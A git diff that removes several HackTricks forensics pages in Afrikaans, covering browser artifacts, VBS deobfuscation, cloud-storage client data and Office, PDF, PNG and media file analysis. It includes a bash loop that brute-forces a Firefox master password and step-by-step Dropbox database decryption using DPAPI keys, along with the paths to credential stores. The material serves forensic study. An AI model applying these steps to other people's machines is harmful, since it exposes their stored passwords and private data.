2. Daarna sal ons die opdrag “pyinstaller –onefile hello.py” gee (’n herinnering dat ‘hello.py’ ons payload is). Dit sal alles in een uitvoerbare lêer saamvoeg.
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
108 INFO: Python: 2.7.14
|
||||
108 INFO: Platform: Windows-10-10.0.16299
|
||||
………………………………
|
||||
5967 INFO: checking EXE
|
||||
5967 INFO: Building EXE because out00-EXE.toc is non existent
|
||||
5982 INFO: Building EXE from out00-EXE.toc
|
||||
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
|
||||
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,41 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Hier kan jy interessante truuks vir spesifieke lêer-tipes en/of sagteware vind:
|
||||
|
||||
{{#ref}}
|
||||
.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
browser-artifacts.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
desofuscation-vbs-cscript.exe.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
local-cloud-storage.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
office-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
pdf-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
png-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
video-and-audio-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
zips-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,162 +0,0 @@
|
||||
# Bladsy Artefakte
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bladsy Artefakte <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Bladsy artefakte sluit verskeie tipes data in wat deur webblaaiers gestoor word, soos navigasiegeskiedenis, boekmerke en kasdata. Hierdie artefakte word in spesifieke vouers binne die bedryfstelsel gehou, wat verskil in ligging en naam oor blaaiers, maar oor die algemeen soortgelyke datatipes stoor.
|
||||
|
||||
Hier is 'n opsomming van die mees algemene bladsy artefakte:
|
||||
|
||||
- **Navigasiegeskiedenis**: Hou gebruikersbesoeke aan webwerwe dop, nuttig om besoeke aan kwaadwillige webwerwe te identifiseer.
|
||||
- **Outomatiese Voltooiing Data**: Voorstelle gebaseer op gereelde soektogte, wat insigte bied wanneer dit gekombineer word met navigasiegeskiedenis.
|
||||
- **Boekmerke**: Webwerwe wat deur die gebruiker gestoor is vir vinnige toegang.
|
||||
- **Uitbreidings en Byvoegings**: Blaaieruitbreidings of byvoegings wat deur die gebruiker geïnstalleer is.
|
||||
- **Kas**: Stoor webinhoud (bv. beelde, JavaScript-lêers) om webwerf laaitye te verbeter, waardevol vir forensiese analise.
|
||||
- **Inloggings**: Gestoor inlogbesonderhede.
|
||||
- **Favicons**: Ikone wat met webwerwe geassosieer word, wat in oortjies en boekmerke verskyn, nuttig vir addisionele inligting oor gebruikersbesoeke.
|
||||
- **Blaaier Sessies**: Data verwant aan oop blaaier sessies.
|
||||
- **Aflaaie**: Rekords van lêers wat deur die blaaier afgelaai is.
|
||||
- **Vormdata**: Inligting ingevoer in webvorms, gestoor vir toekomstige outomatiese voltooiingsvoorstelle.
|
||||
- **Miniatuurbeelde**: Voorvertoning beelde van webwerwe.
|
||||
- **Custom Dictionary.txt**: Woorde wat deur die gebruiker aan die blaaier se woordeskat bygevoeg is.
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefox organiseer gebruikersdata binne profiele, gestoor in spesifieke plekke gebaseer op die bedryfstelsel:
|
||||
|
||||
- **Linux**: `~/.mozilla/firefox/`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
'n `profiles.ini` lêer binne hierdie gidse lys die gebruikersprofiele. Elke profiel se data word in 'n vouer gestoor wat in die `Path` veranderlike binne `profiles.ini` genoem word, geleë in dieselfde gids as `profiles.ini` self. As 'n profiel se vouer ontbreek, mag dit verwyder wees.
|
||||
|
||||
Binne elke profiel vouer kan jy verskeie belangrike lêers vind:
|
||||
|
||||
- **places.sqlite**: Stoor geskiedenis, boekmerke en aflaaie. Gereedskap soos [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) op Windows kan toegang tot die geskiedenisdata verkry.
|
||||
- Gebruik spesifieke SQL navrae om geskiedenis en aflaaie inligting te onttrek.
|
||||
- **bookmarkbackups**: Bevat rugsteun van boekmerke.
|
||||
- **formhistory.sqlite**: Stoor webvormdata.
|
||||
- **handlers.json**: Bestuur protokolhanterings.
|
||||
- **persdict.dat**: Aangepaste woordeskat woorde.
|
||||
- **addons.json** en **extensions.sqlite**: Inligting oor geïnstalleerde byvoegings en uitbreidings.
|
||||
- **cookies.sqlite**: Koekie stoor, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
|
||||
- **cache2/entries** of **startupCache**: Kasdata, toeganklik deur gereedskap soos [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
||||
- **favicons.sqlite**: Stoor favicons.
|
||||
- **prefs.js**: Gebruikersinstellings en voorkeure.
|
||||
- **downloads.sqlite**: Ouers aflaaie databasis, nou geïntegreer in places.sqlite.
|
||||
- **thumbnails**: Webwerf miniatuurbeelde.
|
||||
- **logins.json**: Geënkripteerde inligting oor aanmeldings.
|
||||
- **key4.db** of **key3.db**: Stoor enkripsiesleutels om sensitiewe inligting te beveilig.
|
||||
|
||||
Boonop kan die blaaier se anti-phishing instellings nagegaan word deur te soek na `browser.safebrowsing` inskrywings in `prefs.js`, wat aandui of veilige blaai funksies geaktiveer of gedeaktiveer is.
|
||||
|
||||
Om te probeer om die meesterwagwoord te ontsleutel, kan jy [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
|
||||
Met die volgende skrip en oproep kan jy 'n wagwoord lêer spesifiseer om te brute force:
|
||||
```bash:brute.sh
|
||||
#!/bin/bash
|
||||
|
||||
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
|
||||
passfile=$1
|
||||
while read pass; do
|
||||
echo "Trying $pass"
|
||||
echo "$pass" | python firefox_decrypt.py
|
||||
done < $passfile
|
||||
```
|
||||
.png>)
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome stoor gebruikersprofiele in spesifieke plekke gebaseer op die bedryfstelsel:
|
||||
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
Binne hierdie gidse kan die meeste gebruikersdata in die **Default/** of **ChromeDefaultData/** vouers gevind word. Die volgende lêers hou belangrike data:
|
||||
|
||||
- **History**: Bevat URL's, aflaaie, en soekwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) gebruik word om die geskiedenis te lees. Die "Transition Type" kolom het verskeie betekenisse, insluitend gebruikersklicks op skakels, getypte URL's, vormindienings, en bladsyherlaai.
|
||||
- **Cookies**: Stoor koekies. Vir inspeksie is [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) beskikbaar.
|
||||
- **Cache**: Hou gekapte data. Om te inspekteer, kan Windows-gebruikers [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) gebruik.
|
||||
- **Bookmarks**: Gebruikers se boekmerke.
|
||||
- **Web Data**: Bevat vormgeskiedenis.
|
||||
- **Favicons**: Stoor webwerf favicons.
|
||||
- **Login Data**: Sluit aanmeldbesonderhede soos gebruikersname en wagwoorde in.
|
||||
- **Current Session**/**Current Tabs**: Data oor die huidige blaai-sessie en oop oortjies.
|
||||
- **Last Session**/**Last Tabs**: Inligting oor die webwerwe wat aktief was tydens die laaste sessie voordat Chrome gesluit is.
|
||||
- **Extensions**: Gidse vir blaaiers se uitbreidings en addons.
|
||||
- **Thumbnails**: Stoor webwerf duimnaels.
|
||||
- **Preferences**: 'n Lêer ryk aan inligting, insluitend instellings vir plugins, uitbreidings, pop-ups, kennisgewings, en meer.
|
||||
- **Browser’s built-in anti-phishing**: Om te kontroleer of anti-phishing en malware beskerming geaktiveer is, voer `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` uit. Soek na `{"enabled: true,"}` in die uitvoer.
|
||||
|
||||
## **SQLite DB Data Recovery**
|
||||
|
||||
Soos jy in die vorige afdelings kan sien, gebruik beide Chrome en Firefox **SQLite** databasisse om die data te stoor. Dit is moontlik om **verwyderde inskrywings te herstel met die hulpmiddel** [**sqlparse**](https://github.com/padfoot999/sqlparse) **of** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 bestuur sy data en metadata oor verskeie plekke, wat help om gestoor inligting en sy ooreenstemmende besonderhede te skei vir maklike toegang en bestuur.
|
||||
|
||||
### Metadata Storage
|
||||
|
||||
Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 is). Saam hiermee kan die `V01.log` lêer wys datums van wysigings wat nie ooreenstem met `WebcacheVX.data` nie, wat 'n behoefte aan herstel aandui met `esentutl /r V01 /d`. Hierdie metadata, wat in 'n ESE-databasis gehuisves word, kan herstel en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), onderskeidelik. Binne die **Containers** tabel kan 'n mens die spesifieke tabelle of houers waar elke datasegment gestoor is, onderskei, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype.
|
||||
|
||||
### Cache Inspection
|
||||
|
||||
Die [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) hulpmiddel laat vir cache-inspeksie toe, wat die cache data ekstraksie vouer plek vereis. Metadata vir cache sluit lêernaam, gids, toegangstelling, URL oorsprong, en tydstempels in wat die cache skepping, toegang, wysiging, en vervaldatums aandui.
|
||||
|
||||
### Cookies Management
|
||||
|
||||
Koekies kan ondersoek word met [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), met metadata wat name, URL's, toegangstelling, en verskeie tydverwante besonderhede insluit. Volhoubare koekies word gestoor in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, met sessie koekies wat in geheue woon.
|
||||
|
||||
### Download Details
|
||||
|
||||
Aflaai metadata is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), met spesifieke houers wat data soos URL, lêertipe, en aflaai plek hou. Fisiese lêers kan gevind word onder `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
### Browsing History
|
||||
|
||||
Om blaai geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gebruik word, wat die plek van ekstrakte geskiedenis lêers en konfigurasie vir Internet Explorer vereis. Metadata hier sluit wysigings- en toegangstye in, saam met toegangstelling. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
### Typed URLs
|
||||
|
||||
Getypte URL's en hul gebruikstye word gestoor in die register onder `NTUSER.DAT` by `Software\Microsoft\InternetExplorer\TypedURLs` en `Software\Microsoft\InternetExplorer\TypedURLsTime`, wat die laaste 50 URL's wat deur die gebruiker ingevoer is en hul laaste invoertye volg.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge stoor gebruikersdata in `%userprofile%\Appdata\Local\Packages`. Die paaie vir verskeie datatipes is:
|
||||
|
||||
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
## Safari
|
||||
|
||||
Safari data word gestoor by `/Users/$User/Library/Safari`. Sleutellêers sluit in:
|
||||
|
||||
- **History.db**: Bevat `history_visits` en `history_items` tabelle met URL's en besoek tydstempels. Gebruik `sqlite3` om te vra.
|
||||
- **Downloads.plist**: Inligting oor afgelaaide lêers.
|
||||
- **Bookmarks.plist**: Stoor geboekmerkte URL's.
|
||||
- **TopSites.plist**: Meest besoekte webwerwe.
|
||||
- **Extensions.plist**: Lys van Safari blaaiers se uitbreidings. Gebruik `plutil` of `pluginkit` om te verkry.
|
||||
- **UserNotificationPermissions.plist**: Domeine wat toegelaat word om kennisgewings te stuur. Gebruik `plutil` om te parse.
|
||||
- **LastSession.plist**: Oortjies van die laaste sessie. Gebruik `plutil` om te parse.
|
||||
- **Browser’s built-in anti-phishing**: Kontroleer met `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. 'n Antwoord van 1 dui aan dat die funksie aktief is.
|
||||
|
||||
## Opera
|
||||
|
||||
Opera se data is geleë in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` en deel Chrome se formaat vir geskiedenis en aflaaie.
|
||||
|
||||
- **Browser’s built-in anti-phishing**: Verifieer deur te kontroleer of `fraud_protection_enabled` in die Voorkeurlêer op `true` gestel is met `grep`.
|
||||
|
||||
Hierdie paaie en opdragte is noodsaaklik vir toegang tot en begrip van die blaai data wat deur verskillende webblaaiers gestoor word.
|
||||
|
||||
## References
|
||||
|
||||
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
||||
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,42 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Sommige dinge wat nuttig kan wees om 'n kwaadwillige VBS-lêer te debugeer/deobfuskeer:
|
||||
|
||||
## echo
|
||||
```bash
|
||||
Wscript.Echo "Like this?"
|
||||
```
|
||||
## Kommentaar
|
||||
```bash
|
||||
' this is a comment
|
||||
```
|
||||
## Toets
|
||||
```bash
|
||||
cscript.exe file.vbs
|
||||
```
|
||||
## Skryf data na 'n lêer
|
||||
```js
|
||||
Function writeBinary(strBinary, strPath)
|
||||
|
||||
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
' below lines purpose: checks that write access is possible!
|
||||
Dim oTxtStream
|
||||
|
||||
On Error Resume Next
|
||||
Set oTxtStream = oFSO.createTextFile(strPath)
|
||||
|
||||
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
|
||||
On Error GoTo 0
|
||||
|
||||
Set oTxtStream = Nothing
|
||||
' end check of write access
|
||||
|
||||
With oFSO.createTextFile(strPath)
|
||||
.Write(strBinary)
|
||||
.Close
|
||||
End With
|
||||
|
||||
End Function
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,97 +0,0 @@
|
||||
# Plaaslike Wolk Berging
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## OneDrive
|
||||
|
||||
In Windows kan jy die OneDrive-gids vind in `\Users\<username>\AppData\Local\Microsoft\OneDrive`. En binne `logs\Personal` is dit moontlik om die lêer `SyncDiagnostics.log` te vind wat interessante data bevat rakende die gesinkroniseerde lêers:
|
||||
|
||||
- Grootte in bytes
|
||||
- Skeppingsdatum
|
||||
- Wysigingsdatum
|
||||
- Aantal lêers in die wolk
|
||||
- Aantal lêers in die gids
|
||||
- **CID**: Unieke ID van die OneDrive-gebruiker
|
||||
- Verslaggenerasietyd
|
||||
- Grootte van die HD van die OS
|
||||
|
||||
Sodra jy die CID gevind het, word dit aanbeveel om **lêers wat hierdie ID bevat te soek**. Jy mag dalk lêers met die naam: _**\<CID>.ini**_ en _**\<CID>.dat**_ vind wat interessante inligting kan bevat soos die name van lêers wat met OneDrive gesinkroniseer is.
|
||||
|
||||
## Google Drive
|
||||
|
||||
In Windows kan jy die hoof Google Drive-gids vind in `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
||||
Hierdie gids bevat 'n lêer genaamd Sync_log.log met inligting soos die e-posadres van die rekening, lêernames, tydstempels, MD5-hashes van die lêers, ens. Selfs verwyderde lêers verskyn in daardie loglêer met die ooreenstemmende MD5.
|
||||
|
||||
Die lêer **`Cloud_graph\Cloud_graph.db`** is 'n sqlite-databasis wat die tabel **`cloud_graph_entry`** bevat. In hierdie tabel kan jy die **naam** van die **gesinkroniseerde** **lêers**, gewysigde tyd, grootte, en die MD5 checksum van die lêers vind.
|
||||
|
||||
Die tabeldata van die databasis **`Sync_config.db`** bevat die e-posadres van die rekening, die pad van die gedeelde gidse en die Google Drive weergawe.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox gebruik **SQLite-databasisse** om die lêers te bestuur. In hierdie\
|
||||
Jy kan die databasisse in die gidse vind:
|
||||
|
||||
- `\Users\<username>\AppData\Local\Dropbox`
|
||||
- `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||
- `\Users\<username>\AppData\Roaming\Dropbox`
|
||||
|
||||
En die hoofdatabasisse is:
|
||||
|
||||
- Sigstore.dbx
|
||||
- Filecache.dbx
|
||||
- Deleted.dbx
|
||||
- Config.dbx
|
||||
|
||||
Die ".dbx" uitbreiding beteken dat die **databasisse** **versleuteld** is. Dropbox gebruik **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
|
||||
|
||||
Om die versleuteling wat Dropbox gebruik beter te verstaan, kan jy lees [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
|
||||
Die hoofinligting is egter:
|
||||
|
||||
- **Entropy**: d114a55212655f74bd772e37e64aee9b
|
||||
- **Salt**: 0D638C092E8B82FC452883F95F355B8E
|
||||
- **Algoritme**: PBKDF2
|
||||
- **Herhalings**: 1066
|
||||
|
||||
Afgesien van daardie inligting, om die databasisse te ontsleutel het jy steeds nodig:
|
||||
|
||||
- Die **versleutelde DPAPI-sleutel**: Jy kan dit in die registrasie vind binne `NTUSER.DAT\Software\Dropbox\ks\client` (eksporteer hierdie data as binêr)
|
||||
- Die **`SYSTEM`** en **`SECURITY`** hives
|
||||
- Die **DPAPI meester sleutels**: Wat gevind kan word in `\Users\<username>\AppData\Roaming\Microsoft\Protect`
|
||||
- Die **gebruikersnaam** en **wagwoord** van die Windows-gebruiker
|
||||
|
||||
Dan kan jy die hulpmiddel [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
|
||||
|
||||
.png>)
|
||||
|
||||
As alles volgens verwagting verloop, sal die hulpmiddel die **primêre sleutel** aandui wat jy moet **gebruik om die oorspronklike een te herstel**. Om die oorspronklike een te herstel, gebruik net hierdie [cyber_chef resep](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) en plaas die primêre sleutel as die "wagwoord" binne die resep.
|
||||
|
||||
Die resulterende hex is die finale sleutel wat gebruik word om die databasisse te versleutel wat ontsleuteld kan word met:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
Die **`config.dbx`** databasis bevat:
|
||||
|
||||
- **E-pos**: Die e-pos van die gebruiker
|
||||
- **usernamedisplayname**: Die naam van die gebruiker
|
||||
- **dropbox_path**: Pad waar die dropbox-gids geleë is
|
||||
- **Host_id: Hash** wat gebruik word om aan die wolk te verifieer. Dit kan slegs vanaf die web herroep word.
|
||||
- **Root_ns**: Gebruikeridentifiseerder
|
||||
|
||||
Die **`filecache.db`** databasis bevat inligting oor al die lêers en gidse wat met Dropbox gesinkroniseer is. Die tabel `File_journal` is die een met die meeste nuttige inligting:
|
||||
|
||||
- **Server_path**: Pad waar die lêer binne die bediener geleë is (hierdie pad word voorafgegaan deur die `host_id` van die kliënt).
|
||||
- **local_sjid**: Weergawe van die lêer
|
||||
- **local_mtime**: Wysigingsdatum
|
||||
- **local_ctime**: Skeppingsdatum
|
||||
|
||||
Ander tabelle binne hierdie databasis bevat meer interessante inligting:
|
||||
|
||||
- **block_cache**: hash van al die lêers en gidse van Dropbox
|
||||
- **block_ref**: Verbind die hash ID van die tabel `block_cache` met die lêer ID in die tabel `file_journal`
|
||||
- **mount_table**: Deel gidse van dropbox
|
||||
- **deleted_fields**: Dropbox verwyderde lêers
|
||||
- **date_added**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,18 +0,0 @@
|
||||
# Office-lêeranalyse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Vir verdere inligting, kyk na [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Dit is net 'n opsomming:
|
||||
|
||||
Microsoft het baie kantoor dokumentformate geskep, met twee hoof tipes wat **OLE-formate** (soos RTF, DOC, XLS, PPT) en **Office Open XML (OOXML)-formate** (soos DOCX, XLSX, PPTX) is. Hierdie formate kan makros insluit, wat hulle teikens vir phishing en malware maak. OOXML-lêers is gestruktureer as zip-kontainers, wat inspeksie deur ontrafel moontlik maak, wat die lêer- en vouerhiërargie en XML-lêerinhoud onthul.
|
||||
|
||||
Om OOXML-lêerstrukture te verken, word die opdrag om 'n dokument te ontrafel en die uitvoerstruktuur gegee. Tegnieke om data in hierdie lêers te verberg, is gedokumenteer, wat daarop dui dat daar voortgesette innovasie in dataverborge binne CTF-uitdagings is.
|
||||
|
||||
Vir analise bied **oletools** en **OfficeDissector** omvattende hulpmiddels vir die ondersoek van beide OLE- en OOXML-dokumente. Hierdie hulpmiddels help om ingebedde makros te identifiseer en te analiseer, wat dikwels as vektore vir malware-aflewering dien, wat tipies addisionele kwaadwillige payloads aflaai en uitvoer. Analise van VBA-makros kan sonder Microsoft Office gedoen word deur Libre Office te gebruik, wat debuggings met breekpunte en kykveranderlikes toelaat.
|
||||
|
||||
Installasie en gebruik van **oletools** is eenvoudig, met opdragte wat gegee word vir installasie via pip en die onttrekking van makros uit dokumente. Outomatiese uitvoering van makros word geaktiveer deur funksies soos `AutoOpen`, `AutoExec`, of `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,20 +0,0 @@
|
||||
# PDF-lêeranalise
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Vir verdere besonderhede, kyk:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
Die PDF-formaat is bekend vir sy kompleksiteit en potensiaal om data te verberg, wat dit 'n fokuspunt maak vir CTF forensiese uitdagings. Dit kombineer teks-elemente met binêre voorwerpe, wat gecomprimeer of geënkripteer kan wees, en kan skripte in tale soos JavaScript of Flash insluit. Om die PDF-struktuur te verstaan, kan 'n mens na Didier Stevens se [inleidende materiaal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) verwys, of gereedskap soos 'n teksredigeerder of 'n PDF-spesifieke redigeerder soos Origami gebruik.
|
||||
|
||||
Vir diepgaande verkenning of manipulasie van PDFs, is gereedskap soos [qpdf](https://github.com/qpdf/qpdf) en [Origami](https://github.com/mobmewireless/origami-pdf) beskikbaar. Verborge data binne PDFs kan verborge wees in:
|
||||
|
||||
- Onsigbare lae
|
||||
- XMP-metadataformaat deur Adobe
|
||||
- Inkrementele generasies
|
||||
- Teks met dieselfde kleur as die agtergrond
|
||||
- Teks agter beelde of oorvleuelende beelde
|
||||
- Nie-vertande kommentaar
|
||||
|
||||
Vir pasgemaakte PDF-analise kan Python-biblioteke soos [PeepDF](https://github.com/jesparza/peepdf) gebruik word om op maat gemaakte parsingskripte te skep. Verder is die PDF se potensiaal vir verborge datastoor so groot dat hulpbronne soos die NSA-gids oor PDF-risiko's en teenmaatreëls, hoewel nie meer op sy oorspronklike plek gehos te word nie, steeds waardevolle insigte bied. 'n [kopie van die gids](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) en 'n versameling van [PDF-formaat truuks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) deur Ange Albertini kan verdere leesstof oor die onderwerp bied.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,9 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**PNG-lêers** word hoog aangeskryf in **CTF-uitdagings** vir hul **verlieslose kompressie**, wat hulle ideaal maak vir die insluiting van versteekte data. Gereedskap soos **Wireshark** stel die analise van PNG-lêers in staat deur hul data binne netwerkpakkette te ontleed, wat ingebedde inligting of anomalieë onthul.
|
||||
|
||||
Vir die nagaan van PNG-lêer integriteit en die herstel van korrupsie, is **pngcheck** 'n belangrike hulpmiddel, wat opdraglyn funksionaliteit bied om PNG-lêers te valideer en te diagnoseer ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Wanneer lêers buite eenvoudige herstel is, bied aanlyn dienste soos [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) 'n web-gebaseerde oplossing vir **die herstel van beskadigde PNG's**, wat help met die herstel van belangrike data vir CTF-deelnemers.
|
||||
|
||||
Hierdie strategieë beklemtoon die belangrikheid van 'n omvattende benadering in CTF's, wat 'n mengsel van analitiese gereedskap en hersteltegnieke benut om versteekte of verlore data te ontdek en te herstel.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,17 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Audio- en video-lêermanipulasie** is 'n noodsaaklike deel van **CTF forensiese uitdagings**, wat **steganografie** en metadata-analise benut om geheime boodskappe te verberg of te onthul. Gereedskap soos **[mediainfo](https://mediaarea.net/en/MediaInfo)** en **`exiftool`** is noodsaaklik om lêermetadata te ondersoek en inhoudstipes te identifiseer.
|
||||
|
||||
Vir audio-uitdagings, **[Audacity](http://www.audacityteam.org/)** is 'n uitstaande hulpmiddel om golfforme te sien en spektrogramme te analiseer, wat noodsaaklik is om teks wat in audio gekodeer is, te ontdek. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** word sterk aanbeveel vir gedetailleerde spektrogramanalise. **Audacity** maak dit moontlik om audio te manipuleer, soos om snitte te vertraag of om te keer om versteekte boodskappe te ontdek. **[Sox](http://sox.sourceforge.net/)**, 'n opdraglyn-hulpmiddel, presteer uitstekend in die omskakeling en redigering van audiolêers.
|
||||
|
||||
**Least Significant Bits (LSB)** manipulasie is 'n algemene tegniek in audio- en video-steganografie, wat die vaste-grootte stukke van media-lêers benut om data diskreet in te sluit. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is nuttig om boodskappe wat as **DTMF toon** of **Morse kode** versteek is, te dekodeer.
|
||||
|
||||
Video-uitdagings behels dikwels houerformate wat audio- en video-strome saamvoeg. **[FFmpeg](http://ffmpeg.org/)** is die voorkeur vir die analise en manipulasie van hierdie formate, wat in staat is om te demultiplex en inhoud af te speel. Vir ontwikkelaars integreer **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** die vermoëns van FFmpeg in Python vir gevorderde skripbare interaksies.
|
||||
|
||||
Hierdie verskeidenheid gereedskap beklemtoon die veelsydigheid wat benodig word in CTF-uitdagings, waar deelnemers 'n breë spektrum van analise- en manipulasietegnieke moet gebruik om versteekte data binne audio- en video-lêers te ontdek.
|
||||
|
||||
## References
|
